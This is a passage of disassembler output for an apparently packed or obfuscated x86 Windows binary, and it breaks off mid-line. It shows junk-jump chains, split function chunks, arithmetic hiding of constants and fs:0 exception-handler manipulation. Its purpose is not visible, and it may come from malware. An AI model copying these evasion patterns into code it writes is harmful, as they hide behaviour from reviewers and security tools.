loc_427663: ; DATA XREF: sub_4289E4+38ABo mov eax, [ebp-4] mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 ; START OF FUNCTION CHUNK FOR sub_42561D loc_42766D: ; CODE XREF: sub_42C2F0:loc_429304j ; sub_42561D+8C4Bj jb loc_42503E push offset sub_425EA5 jmp loc_4284C1 ; END OF FUNCTION CHUNK FOR sub_42561D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42912B loc_42767D: ; CODE XREF: _0182ofla:loc_426374j ; sub_42912B+Dj call sub_42883C loc_427682: ; CODE XREF: sub_423461+19j ; sub_4255BB+Ej jmp nullsub_52 ; END OF FUNCTION CHUNK FOR sub_42912B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B53 loc_427687: ; CODE XREF: sub_423B53+Ej jmp loc_42A781 ; END OF FUNCTION CHUNK FOR sub_423B53 ; =============== S U B R O U T I N E ======================================= sub_42768C proc near ; CODE XREF: sub_428A39:loc_427D55p ; sub_42B15E+2B80j arg_C = dword ptr 10h ; FUNCTION CHUNK AT 00429348 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C2D9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042D250 SIZE 0000000E BYTES xchg eax, [esp+0] pop eax mov eax, [ebp-14h] call sub_4238F9 loc_427698: ; DATA XREF: sub_427E81+5o pushf push 6AA7160Ah pop edx rol edx, 10h add edx, 57D18B14h xor edx, 0F1B9307Bh popf jmp loc_429348 sub_42768C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A642 loc_4276B4: ; CODE XREF: sub_42A642:loc_428668j jz loc_42CDBF jmp loc_4254CE ; END OF FUNCTION CHUNK FOR sub_42A642 ; =============== S U B R O U T I N E ======================================= sub_4276BF proc near ; DATA XREF: sub_42393D+9o ; FUNCTION CHUNK AT 00423107 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004248F9 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00424C24 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00426D0D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429966 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A1AB SIZE 00000005 BYTES add eax, 38C04F32h mov eax, [eax] mov edx, [ebp-4] mov byte ptr [eax+edx], 0 inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 100h jnz loc_426D0D jmp loc_42A1AB sub_4276BF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4276E3 proc near ; CODE XREF: _0182ofla:00423CBFj ; sub_423A2A+9108p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00424857 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00428080 SIZE 00000005 BYTES mov [esp+0], esi pop esi xchg edx, [esp-4+arg_0] mov edi, edx pop edx jmp loc_424857 sub_4276E3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9A5 loc_4276F2: ; CODE XREF: sub_42E9A5+1A4j test esi, 5862D158h jmp loc_427FDA ; END OF FUNCTION CHUNK FOR sub_42E9A5 ; --------------------------------------------------------------------------- locret_4276FD: ; CODE XREF: _0182ofla:loc_425DC0j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427259 loc_4276FE: ; CODE XREF: sub_427259+6j jmp loc_42CBC3 ; END OF FUNCTION CHUNK FOR sub_427259 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_427703: ; CODE XREF: sub_425B6E+13j jmp loc_42A818 ; END OF FUNCTION CHUNK FOR sub_425B6E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_244. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_233. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C718 loc_42770A: ; CODE XREF: sub_42C718-2ABj push offset sub_424254 jmp nullsub_243 ; END OF FUNCTION CHUNK FOR sub_42C718 ; --------------------------------------------------------------------------- test edi, 0AB1D7ACEh jmp loc_42DB28 ; =============== S U B R O U T I N E ======================================= sub_42771F proc near ; CODE XREF: _0182ofla:004232AAj ; _0182ofla:loc_42E9CCp ; FUNCTION CHUNK AT 004274ED SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov eax, [ebp-4] push offset loc_42C5FB jmp loc_4274ED sub_42771F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A181 loc_427730: ; CODE XREF: sub_42A181:loc_42DCFBj jnz loc_424D39 jmp loc_42A61B ; END OF FUNCTION CHUNK FOR sub_42A181 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E43C loc_42773B: ; CODE XREF: sub_42E43C-77D1j js loc_42D62E mov ebp, 1073A9A1h ; END OF FUNCTION CHUNK FOR sub_42E43C ; START OF FUNCTION CHUNK FOR sub_423FE2 loc_427746: ; CODE XREF: sub_423FE2:loc_423E4Aj jmp loc_42A670 ; END OF FUNCTION CHUNK FOR sub_423FE2 ; --------------------------------------------------------------------------- jmp loc_424785 ; =============== S U B R O U T I N E ======================================= sub_427750 proc near ; CODE XREF: sub_42C2CC+12A5j ; FUNCTION CHUNK AT 0042C890 SIZE 00000005 BYTES add esp, 0FFFFFFF0h call sub_428D17 push offset loc_424AE9 jmp loc_42C890 sub_427750 endp ; =============== S U B R O U T I N E ======================================= sub_427762 proc near ; CODE XREF: _0182ofla:00426883j ; _0182ofla:004277F0p ; FUNCTION CHUNK AT 0042A2DB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DBD8 SIZE 00000011 BYTES mov [esp+0], eax pop eax mov al, 1 shl al, cl mov edx, [ebp-1Ch] shr edx, 3 mov ecx, ds:dword_423190 jmp loc_42DBD8 sub_427762 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_237. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C5EF loc_42777C: ; CODE XREF: sub_42C5EF+1j jmp loc_428197 ; END OF FUNCTION CHUNK FOR sub_42C5EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A420 loc_427781: ; CODE XREF: sub_42A420+208Dj jmp loc_428079 ; END OF FUNCTION CHUNK FOR sub_42A420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E282 loc_427786: ; CODE XREF: sub_42E282-6246j sub ecx, 94C3E200h add ecx, 5A3D2AF3h call sub_425A3C ; END OF FUNCTION CHUNK FOR sub_42E282 ; =============== S U B R O U T I N E ======================================= sub_427797 proc near ; CODE XREF: _0182ofla:0042563Fj ; sub_424E6E:loc_427F9Ap ; FUNCTION CHUNK AT 00426662 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427281 SIZE 0000000A BYTES mov [esp+0], ecx pop ecx push ebx push 4E8CF02Eh pop ebx add ebx, 0B1B59BD5h jmp loc_426662 sub_427797 endp ; --------------------------------------------------------------------------- loc_4277AD: ; CODE XREF: _0182ofla:004237F4j jmp loc_42C874 ; --------------------------------------------------------------------------- loc_4277B2: ; CODE XREF: _0182ofla:00425CD1j jns loc_42E02C call sub_423FCD test al, al jz loc_428285 jmp loc_42A926 ; --------------------------------------------------------------------------- loc_4277CA: ; CODE XREF: _0182ofla:0042325Fj jp loc_42CFD2 ; =============== S U B R O U T I N E ======================================= sub_4277D0 proc near ; CODE XREF: sub_423FFB+9p mov [esp+0], edi pop edi xor eax, eax call sub_424289 adc edx, 0E7D05C81h jmp sub_4290AE sub_4277D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4277E6: ; CODE XREF: _0182ofla:loc_4268D3j ; _0182ofla:004268DDj add ebx, 48000006h popf and ecx, ebx pop ebx call sub_427762 ; START OF FUNCTION CHUNK FOR sub_4272E4 loc_4277F5: ; CODE XREF: sub_4272E4+5j jmp nullsub_153 ; END OF FUNCTION CHUNK FOR sub_4272E4 ; =============== S U B R O U T I N E ======================================= sub_4277FA proc near ; CODE XREF: sub_42660C-6C6p ; sub_42326C+ADFEj arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx xchg eax, [esp-4+arg_0] retn sub_4277FA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_427802 proc near ; DATA XREF: sub_42660C-6CBo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042D7F0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042DD7C SIZE 00000008 BYTES add eax, 93612605h push eax pushf push 0F2ECAEBAh jmp loc_42D7F0 sub_427802 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_427814: ; CODE XREF: sub_4253F4+Fj jz loc_42D623 jmp loc_429BC9 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F35 loc_42781F: ; CODE XREF: sub_424F35+Cj xor eax, 31C3E2EEh add eax, ebp call sub_4269FA xchg ebx, edi popf jmp sub_425A5C ; END OF FUNCTION CHUNK FOR sub_424F35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E178 loc_427834: ; CODE XREF: sub_42E178:loc_42E17Ej jnz loc_42EA4E retn ; END OF FUNCTION CHUNK FOR sub_42E178 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428729 loc_42783B: ; CODE XREF: sub_428729+3E5Cj jmp loc_42C950 ; END OF FUNCTION CHUNK FOR sub_428729 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BED loc_427840: ; CODE XREF: sub_425BED:loc_42EA4Ej cmp dword ptr [eax], 0FFFFFFFFh push offset sub_42913D jmp loc_42E070 ; END OF FUNCTION CHUNK FOR sub_425BED ; --------------------------------------------------------------------------- loc_42784D: ; CODE XREF: _0182ofla:00425FEAj add eax, 0CCC78AFBh push esi mov [esp], eax mov eax, [ebp-14h] jmp loc_42D0F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466B loc_42785F: ; CODE XREF: sub_42466B:loc_426747j pop edx pop ebp ; END OF FUNCTION CHUNK FOR sub_42466B ; START OF FUNCTION CHUNK FOR sub_428F20 loc_427861: ; CODE XREF: sub_428F20:loc_428C1Cj jmp loc_42930E ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C7D loc_427866: ; CODE XREF: sub_428C7D-75Dj shl ebx, 15h or eax, 0ED5CA262h push edx push 43FE08E1h pop edx jmp loc_42E103 ; END OF FUNCTION CHUNK FOR sub_428C7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426851 loc_42787B: ; CODE XREF: sub_426851:loc_429821j xchg esi, [esp+10h+var_10] push 0 call sub_425C9C loc_427885: ; CODE XREF: _0182ofla:loc_42C95Fj mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], offset loc_429881 xor eax, eax jmp loc_42C341 ; END OF FUNCTION CHUNK FOR sub_426851 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_4278AA: ; CODE XREF: sub_42660C:loc_4278E5j shr edx, 0Ah jmp loc_4271EF ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C89 loc_4278B2: ; CODE XREF: sub_425C89:loc_427159j pop ecx mov eax, ds:dword_426FB4 or eax, eax jnz loc_42722F jmp loc_42AEF7 ; END OF FUNCTION CHUNK FOR sub_425C89 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_192. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423127 loc_4278C7: ; CODE XREF: sub_423127+57ABj jmp loc_42EC53 ; END OF FUNCTION CHUNK FOR sub_423127 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_4278CC: ; CODE XREF: sub_4230C4+5j mov ebp, offset nullsub_6 xchg ebp, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_428F46 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426020 loc_4278D6: ; CODE XREF: sub_426020-2D30j jmp loc_42D703 ; END OF FUNCTION CHUNK FOR sub_426020 ; =============== S U B R O U T I N E ======================================= sub_4278DB proc near ; CODE XREF: _0182ofla:loc_42753Bj ; sub_42CA29-26DEp ... arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00427186 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004291DC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042AD2E SIZE 00000005 BYTES call sub_42D5EF loc_4278E0: ; CODE XREF: sub_42448C+64A5j jmp loc_427186 sub_4278DB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_4278E5: ; CODE XREF: sub_42660C+311Cj jmp loc_4278AA ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6D5 loc_4278EA: ; CODE XREF: sub_42A6D5-5BFDj jmp loc_429E96 ; END OF FUNCTION CHUNK FOR sub_42A6D5 ; --------------------------------------------------------------------------- locret_4278EF: ; CODE XREF: _0182ofla:0042EC71j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D02D loc_4278F0: ; CODE XREF: sub_42D02D-99AFj or edi, esi loc_4278F2: ; DATA XREF: sub_42B15E:loc_42AEB1o pop dword ptr fs:0 xchg eax, [esp-4+arg_0] pop eax call sub_42E282 jmp loc_42B58D ; END OF FUNCTION CHUNK FOR sub_42D02D ; =============== S U B R O U T I N E ======================================= sub_427906 proc near ; CODE XREF: _0182ofla:00424A9Bj ; sub_427942-CAAp ; FUNCTION CHUNK AT 00423CB3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AF57 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DB49 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042DD1A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E2C5 SIZE 0000001D BYTES mov [esp+0], esi pop esi mov ecx, [eax] add eax, 4 mov ebx, [eax] add eax, 4 mov edi, [eax] loc_427916: ; CODE XREF: _0182ofla:loc_4288A9j jmp loc_42AF57 sub_427906 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426571 loc_42791B: ; CODE XREF: sub_426571-31Cj test al, al jnz loc_4262D2 mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jnz loc_423C0A jmp loc_42D158 ; END OF FUNCTION CHUNK FOR sub_426571 ; --------------------------------------------------------------------------- jge loc_426D18 not eax jmp sub_42E395 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427942 proc near ; DATA XREF: sub_4272F4+5B2Bo var_20 = dword ptr -20h var_14 = dword ptr -14h var_8 = byte ptr -8 ; FUNCTION CHUNK AT 00423372 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004252D7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00426798 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426C82 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 004287A3 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004294BC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042ABBD SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0042AD86 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042D4CC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042D4E1 SIZE 00000013 BYTES push ebp mov ebp, esp push ecx push ebp jmp loc_426C82 sub_427942 endp ; =============== S U B R O U T I N E ======================================= sub_42794C proc near ; CODE XREF: sub_427942+3446p xchg eax, [esp+0] mov eax, [esp+0] call sub_427AD5 call sub_4290AE loc_42795C: ; CODE XREF: sub_42D9A4-21EFj jmp loc_426B6F sub_42794C endp ; --------------------------------------------------------------------------- loc_427961: ; CODE XREF: _0182ofla:0042A482j jnb loc_42B4FE ; =============== S U B R O U T I N E ======================================= sub_427967 proc near ; CODE XREF: _0182ofla:0042B06Ep ; FUNCTION CHUNK AT 00423D78 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov eax, [ebp-4] jns loc_423D78 add eax, 28h jmp loc_42CC24 sub_427967 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42797C: ; CODE XREF: _0182ofla:0042AC98j ; _0182ofla:loc_42EBC4j call sub_423FCD test al, al jz loc_425D09 jmp loc_42A5C7 ; --------------------------------------------------------------------------- loc_42798E: ; CODE XREF: _0182ofla:0042C3DEj popf ; =============== S U B R O U T I N E ======================================= sub_42798F proc near ; CODE XREF: sub_427942:loc_42ABDFp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423286 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004236F0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00423C61 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00423F2D SIZE 00000004 BYTES ; FUNCTION CHUNK AT 004240A3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004240EF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004243A7 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 004244E9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004247E7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004249A0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424A02 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00424B57 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00424BA1 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00424BFC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424C0D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E46 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00424ED2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424EFA SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00425315 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004255AA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042564E SIZE 00000020 BYTES ; FUNCTION CHUNK AT 004257F8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042591C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425B22 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00425C23 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425C6E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00425C94 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00425ECF SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00426069 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00426397 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042665D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426836 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004269BC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426B9B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426CD2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00426D18 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426DD0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042701B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004270F9 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042721A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427309 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004274E3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042756D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427A9C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00427AEC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042810B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428155 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428183 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428547 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004286D9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004287FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428883 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004288D7 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00428A81 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00428D78 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00428E77 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428F67 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428FC1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00429013 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004291CC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429470 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042974E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 004298F2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042994B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004299F7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00429ABB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429AF9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429BAF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429D0B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429D23 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00429D98 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00429DED SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042A059 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042A1F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A22E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042A5C1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042A5D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A62D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042A79B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042A7D0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042A942 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AA24 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AA7B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ABE9 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042AEED SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AFDF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B1C1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B264 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B368 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042B45A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042B4BF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B543 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B5A1 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042B7C0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B8CF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C1F5 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042C36B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042C514 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042C5C5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C7AE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042CAF0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042CBE6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042D00A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042D35C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042D6EC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D90E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DA48 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042DAC7 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0042DF54 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042E4E2 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042E67D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042E6FA SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0042E72C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042EBD0 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042EC62 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EC8D SIZE 00000005 BYTES mov [esp+0], ecx pop ecx mov edx, [ebp+8] loc_427996: ; CODE XREF: sub_428EB9+2D1j or [edx-8], eax jmp loc_427A8A ; --------------------------------------------------------------------------- loc_42799E: ; DATA XREF: sub_4272F4+6AD1o push 0 push offset loc_4291D6 jmp nullsub_234 ; --------------------------------------------------------------------------- loc_4279AA: ; CODE XREF: sub_42DA65:loc_426D5Bj or ecx, edi jmp loc_423C61 ; --------------------------------------------------------------------------- loc_4279B1: ; CODE XREF: sub_42966F+38F9j call sub_423FCD test al, al jz nullsub_34 jmp loc_42B1C1 ; --------------------------------------------------------------------------- loc_4279C3: ; CODE XREF: sub_42DC1F:loc_4275B8j mov esp, ebp pop ebp mov eax, ds:dword_427A34 or eax, eax jnz loc_4269C7 call sub_428D17 mov edx, 0B9726E5Ah call sub_42D71D jmp loc_42AA24 ; --------------------------------------------------------------------------- loc_4279E8: ; CODE XREF: _0182ofla:0042D79Aj xor esi, 793E5EF2h loc_4279EE: ; DATA XREF: sub_42B669-6CD4o pop dword ptr fs:0 xchg eax, [esp+0] pop eax test al, al jmp loc_425B22 ; --------------------------------------------------------------------------- db 0AFh byte_427A00 db 1 ; DATA XREF: sub_4247FE+Cr ; sub_42926C+3r ... ; --------------------------------------------------------------------------- loc_427A01: ; CODE XREF: sub_427F32+457j jmp loc_42A5C1 ; --------------------------------------------------------------------------- dw 9697h dword_427A08 dd 0D864A3CDh, 0B1918BD8h, 0C057008Dh ; DATA XREF: sub_4247FE+188Ao ; sub_42926C+13o dword_427A14 dd 77F50000h ; DATA XREF: sub_4247FE:loc_4260AAr ; sub_4247FE+5F46w ; --------------------------------------------------------------------------- loc_427A18: ; CODE XREF: sub_42EAF0+9j jmp loc_42B4BF ; --------------------------------------------------------------------------- db 12h, 2Ah, 0E3h dword_427A20 dd 0 ; DATA XREF: sub_423A2A:loc_426F8Cw ; sub_42DBF0:loc_427EBEr ... dword_427A24 dd 77E79F93h ; DATA XREF: _0182ofla:00423E37w ; sub_423A2A+415r ... ; --------------------------------------------------------------------------- loc_427A28: ; CODE XREF: sub_429D83-334Bj jmp nullsub_35 ; --------------------------------------------------------------------------- loc_427A2D: ; CODE XREF: sub_42662C:loc_423F35j jmp loc_42CAF0 ; --------------------------------------------------------------------------- dw 4D8Ah dword_427A34 dd 0 ; DATA XREF: sub_425A93+6r ; sub_42798F:loc_4269C0w ... ; --------------------------------------------------------------------------- loc_427A38: ; CODE XREF: sub_42A364+14j jmp loc_425C6E ; --------------------------------------------------------------------------- loc_427A3D: ; CODE XREF: sub_4265C0:loc_424438j jmp sub_4286A8 ; --------------------------------------------------------------------------- dw 0D701h dword_427A44 dd 0 ; DATA XREF: sub_4243F2+4r ; sub_42AAE0-36E0w ... ; --------------------------------------------------------------------------- loc_427A48: ; CODE XREF: sub_428D17:loc_428D28j jmp loc_42974E ; --------------------------------------------------------------------------- loc_427A4D: ; CODE XREF: sub_424EBE+Fj jmp loc_42A79B ; --------------------------------------------------------------------------- dw 9E7Ch dword_427A54 dd 1477E71Bh ; DATA XREF: sub_4255E9+5EE1r ; --------------------------------------------------------------------------- loc_427A58: ; CODE XREF: sub_425BF8:loc_424816j ; sub_425A93+F37j push eax call sub_424CD8 retn ; --------------------------------------------------------------------------- locret_427A5F: ; CODE XREF: sub_42966F+Aj retn ; --------------------------------------------------------------------------- loc_427A60: ; CODE XREF: sub_42CA29-1974j mov eax, [ebp-0Ch] jmp loc_42DF54 ; --------------------------------------------------------------------------- loc_427A68: ; CODE XREF: sub_424BCB+9008j xchg edi, ecx jo loc_42A92B jmp loc_4299F7 ; --------------------------------------------------------------------------- loc_427A75: ; CODE XREF: sub_42D056+814j sub ecx, edi jl loc_4255AA mov esi, [edi] jmp loc_42564E ; --------------------------------------------------------------------------- locret_427A84: ; CODE XREF: _0182ofla:0042D0FDj retn ; --------------------------------------------------------------------------- loc_427A85: ; CODE XREF: sub_429AE0-4AB1j call sub_4253F4 loc_427A8A: ; CODE XREF: sub_42798F+Aj jmp loc_428363 sub_42798F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_427A8F: ; CODE XREF: sub_425B6E:loc_428558j mov eax, [ebp+arg_0] call sub_428EB9 loc_427A97: ; CODE XREF: sub_42798F+38DBj jmp loc_4232F5 ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_427A9C: ; CODE XREF: 